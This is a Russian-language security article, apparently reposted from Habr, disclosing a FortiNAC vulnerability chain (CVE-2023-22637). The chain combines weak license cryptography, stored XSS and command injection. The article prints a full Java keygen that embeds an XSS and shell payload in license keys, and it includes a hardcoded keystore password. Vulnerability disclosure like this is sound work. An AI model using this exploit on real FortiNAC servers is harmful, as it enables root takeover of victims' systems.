Илья Поляков: как мы выявили уязвимость в 6 версиях FortiNAC и получили за это премию Pentest Awards

от автора

Илья Поляков,@e_liu_ha, руководитель отдела анализа кода Angara Security, рассказал, как удалось выявить важную уязвимость в 6 версиях линейки FortiNAC для аутентификации пользователей по протоколу 802.1X и получить премию Pentest Awards в категории Bypass.

Эта история началась в январе 2023 года, когда мы исследовали при­ложе­ние FortiNAC и нашли цепоч­ку дефек­тов и уяз­вимос­тей: облегча­ющую ревер­синг дебаго­вую информацию в ском­пилиро­ван­ных клас­сах Java, сла­бую крип­тогра­фию, хра­нимую XSS и инъ­екцию команд, поз­воля­ющие соз­дать генера­тор лицен­зион­ных клю­чей, которые пос­ле акти­вации выпол­няют про­изволь­ный код от име­ни супер­поль­зовате­ля на сер­вере при­ложе­ния.

Почему FortiNAC? Потому что это одна из самых популярных в мире энтерпрайза систем контроля сетевого доступа (Network Access Control, NAC). Основная задача подобных продуктов — обнаруживать и профилировать любые устройства, которые подключаются к корпоративной инфраструктуре.

Исследование и эксплуатация

На­чалось всё с деком­пиляции Java-клас­сов при­ложе­ния, что поз­волило получить фактически исходный код (раз­ве что без ком­мента­риев), в том чис­ле име­на локаль­ных переменных, бла­года­ря любез­но оставлен­ной при ком­пиляции отла­доч­ной информа­ции. Код, написан­ный на Java Server Pages, деком­пиляции, разуме­ется, не тре­бовал.

Я про­ана­лизи­ровал механизм про­вер­ки лицен­зион­ных клю­чей и нашел легаси‑фун­кцию. Она про­веря­ет клю­чи в ста­ром фор­мате, осно­ван­ном на уяз­вимой к ревер­сингу самописной сим­метрич­ной крип­тогра­фии.

криптоанализ без паяльника (спасибо исходникам)

криптоанализ без паяльника (спасибо исходникам)

Заодно уда­лось най­ти воз­можность инъ­екции команд через текст клю­ча, а также ознакомиться с комментариями разработчиков про то, как им приходится подстраиваться под бесправность системной учётной записи tomcat (которая, впрочем, вполне себе может исполнять sudo):

конкатенация - кратчайший путь к инъекции (с)

конкатенация — кратчайший путь к инъекции (с)
эксплойтим sudoвольстием!

эксплойтим sudoвольстием!

Се­рий­ный номер зада­ется про­изволь­ной стро­кой внут­ри клю­ча, а это откры­вает воз­можность для экс­плу­ата­ции хра­нимой XSS на сай­те при­ложе­ния.

зачем энкодить в HTML серийный ключ, ведь он появляется из доверенного источника, правда же?

зачем энкодить в HTML серийный ключ, ведь он появляется из доверенного источника, правда же?

Получился вот такой генератор лицензионных ключей с полезной нагрузкой:

import com.bsc.license.LicenseDecoder; import com.bsc.license.FortiNACLicense; import com.bsc.license.FortiNACType; import com.bsc.util.EncodeDecode; import java.nio.file.Files; import java.nio.file.Paths; import java.io.IOException; import java.io.FileWriter; public class inject {  static String pack(String s) {    int l = s.length();    return String.valueOf(String.valueOf(l).length()) + String.valueOf(l) + s;  }  static String key(FortiNACLicense l, String html) {  return EncodeDecode.encodeString(    pack(String.valueOf(l.getDaysValid()*24L*3600L*1000L)) +    pack(String.valueOf(l.getConcurrentClientCount())) +    pack("java.util.ArrayList") + pack("") + // Plugins    pack(l.getEth0MAC().toString()) +    pack(l.getType().getFullName()) +    pack("") + // Vendor    pack("1.8") + // Version    pack("java.util.ArrayList") + pack("") + // Options    pack(l.getSystemUUID().toString()) +    pack(String.valueOf(l.getUSG())) + // Not really USG, but anyways    pack(l.getSKU()) +    pack(l.getModelName()) +    pack("false") + // Expired    pack("1") + // rtrCount    pack(l.getName().toString()) +    pack(l.getSerial().toString() + html) +    pack(String.valueOf(l.getGeneratedDate().toEpochMilli()))  );  }  public static void main(String[] args) throws IOException {    String payload = new String(Files.readAllBytes(Paths.get(".", "payload.sh")));    System.setProperty("javax.net.ssl.keyStorePassword", "^8Bradford%23");    LicenseDecoder ld = new LicenseDecoder();    FortiNACLicense l = ld.decode((new String(Files.readAllBytes(Paths.get(".", "input.lic")))).replaceAll("(\\r|\\n)", "")); System.out.println(l);    FileWriter output = new FileWriter("output.lic");    output.write(     key(       l,       "<img src='nowhere' onerror="var IP=$('licenseServerCombo').value.split(/ -- /)[0];" +       "CommonUtils.dataRequest('LicenseActions.jsp',{},       {action:'ajaxApplyLicense',deviceProxy:IP,deviceIP:IP,thisIP:'0'+IP,newLicense:'" +         key(l, "") + ";" + payload + "'});"/>"     )    );    output.close();  } }

Забавно, что легаси-формат ключей очень лаконичен по сравнению с современным, что позволяет заразить ключ почти 8-килобайтной малварью без увеличения его длины!

Fortinet зарегистрировали и исправили (честно говоря, не проверял) уязвимость (сайт не открывается с российского IP-адреса). Оценку критичности в 5.9 баллов можно объяснить только введением CVSS-потолка для Русских Хакеров™:

CVE-2023-22637. Medium за рутовую RCE. Холст, масло, фейспалм.

CVE-2023-22637. Medium за рутовую RCE. Холст, масло, фейспалм.

Также данный квест занял 4-ое место в номинации Bypass первой в России премии для спе­циалис­тов по тес­тирова­нию на про­ник­новение Pentest Award.

Выводы

Пос­ле ухо­да Fortinet из Рос­сии, внеш­ний зло­умыш­ленник мог вос­поль­зовать­ся тем, что россий­ские ком­пании нуж­дают­ся в прод­лении лицен­зии на FortiNAC. Раз­местив в интерне­те кейгены, которые соз­давали бы «тро­яни­зиро­ван­ные» лицен­зион­ные клю­чи, он зах­ватил бы серверы жертв.

Ну, а мы как эксперты рекомендуем следующее:

Fortninet подтвердила уязвимости 6 версий: FortiNAC-F (версия 7.2.0), FortiNAC (версии 9.4.0 – 9.4.2.), все версии ПО FortiNAC 9.2, 9.1, 8.8, 8.7. Поэтому проверьте, какие версии FortiNAC использует ваша компания.

Если есть возможность, получите патчи от вендора и проверьте обновление ПО на тестовом стенде.

Из-за политических рисков обновление доступно далеко не всем российским клиентам. Поэтому, как вариант, лучше установить отечественное ПО EFROS ACS, которое обладает полным функционалом для разграничения сетевого доступа.

И главное: используйте только официальные доверенные кейгены с открытым исходным кодом программные продукты, разработанные строго в рамках лучших практик DevSecOps!


ссылка на оригинал статьи https://habr.com/ru/articles/766332/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *